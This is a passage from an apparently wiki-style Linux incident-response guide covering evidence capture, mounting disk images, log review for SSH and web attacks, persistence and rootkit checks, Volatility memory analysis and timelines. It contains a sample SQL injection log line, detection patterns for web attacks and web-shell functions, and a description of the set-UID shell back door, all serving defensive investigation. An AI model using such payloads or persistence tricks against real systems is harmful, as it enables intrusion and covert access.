* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>.

<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / $ -path /proc -o -path /sys -o -path /root -o -path '/home/*' $ -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>

=== Capturing memory ===

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now restricts that, so you need tools.

{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Can write straight to the network. Also works on Android.
|}

<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).

=== Capturing a disk ===

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).

<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

== Working from a disk image ==

Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.

<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0 # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0 # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>

Notes on the options:

* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (it's a good habit to build), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).

Take the layers down in reverse order when you are done:

<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img # the ewfmount
</syntaxhighlight>

'''Traps when reading a mounted image:'''

* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> instead of simply blindly trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).

== Step 2: Find the way in ==

=== Remote login (SSH) ===

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>

Example output (addresses here are from the reserved documentation ranges, not real hosts):

<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>

The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:

<syntaxhighlight lang="bash">
last -aiF | head -20 # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20 # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted" # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>

Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.

Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.

=== Web applications ===

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>

Start with an overview, and then zoom in on one address:

<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr # status code counts
grep '^198.51.100.9 ' $LOG # everything one client did
</syntaxhighlight>

Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:

<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>

(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)

==== What common web attacks look like in the log ====

{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code><script></code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}

<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG # path traversal
grep -E ' *\{' $LOG # Shellshock-style header
</syntaxhighlight>

'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.

==== From a request to a compromise ====

A logged attack request proves that someone ''tried'' to attack. To decide whether it ''worked'', follow it into the rest of the system:

* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?

<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>

== Step 3: What did they do? ==

=== Privilege escalation and account activity ===

<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened" # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log # account changes
awk -F: '$3==0 {print $1}' /etc/passwd # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>

A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.

=== Command history ===

<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history' # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>

What to keep in mind about <code>.bash_history</code>:

* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.

=== Other traces users leave behind ===

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}

=== The audit framework ===

If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i # events that matched the rule, human-readable
sudo aureport -au # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>

If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.

== Step 4: Persistence ==

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

<syntaxhighlight lang="bash"># scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/ # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null</syntaxhighlight>

Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.

'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.

'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.

<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / $ -path /proc -o -path /sys $ -prune -o -type f $ -perm -4000 -o -perm -2000 $ ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>

Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.

=== A post-exploitation checklist ===

{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}

== Step 5: Rootkits and tampering ==

A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

=== Signs something is being hidden ===

* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

=== Detection tools ===

<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>

<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.

=== Verify installed files against the package manager ===

<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va # RHEL family: verify all packages
</syntaxhighlight>

A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

=== Cross-checking tools against each other ===

Because a rootkit typically fools some tools but not others, disagreement is informative:

<syntaxhighlight lang="bash">
echo /usr/src/.* # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc # look for processes hidden from ps
lsmod # compare to a known-good machine's module list
</syntaxhighlight>

A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

=== Log tampering ===

<syntaxhighlight lang="bash">
ls -la /var/log # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify # consistency check of the journal files
</syntaxhighlight>

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.

== Going deeper: memory analysis with Volatility 3 ==

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

=== The symbols problem ===

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.

<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME= # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.

=== The plugins you will use most ===

Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.

{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}

The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

=== Hunting for rootkits in memory ===

<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>

* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.

=== No symbol file? Quick triage instead ===

Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz # keep for context searches
bulk_extractor -o be-out memory.lime # the output folder must not already exist

head be-out/url_histogram.txt # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>

Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.

== Step 6: Building a timeline ==

Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

=== Quick version ===

<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
-printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc # a directory sorted by modification time, oldest first
</syntaxhighlight>

=== The full method (The Sleuth Kit) ===

For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.

* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.

=== Understanding Linux timestamps ===

Files have four time values:

{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
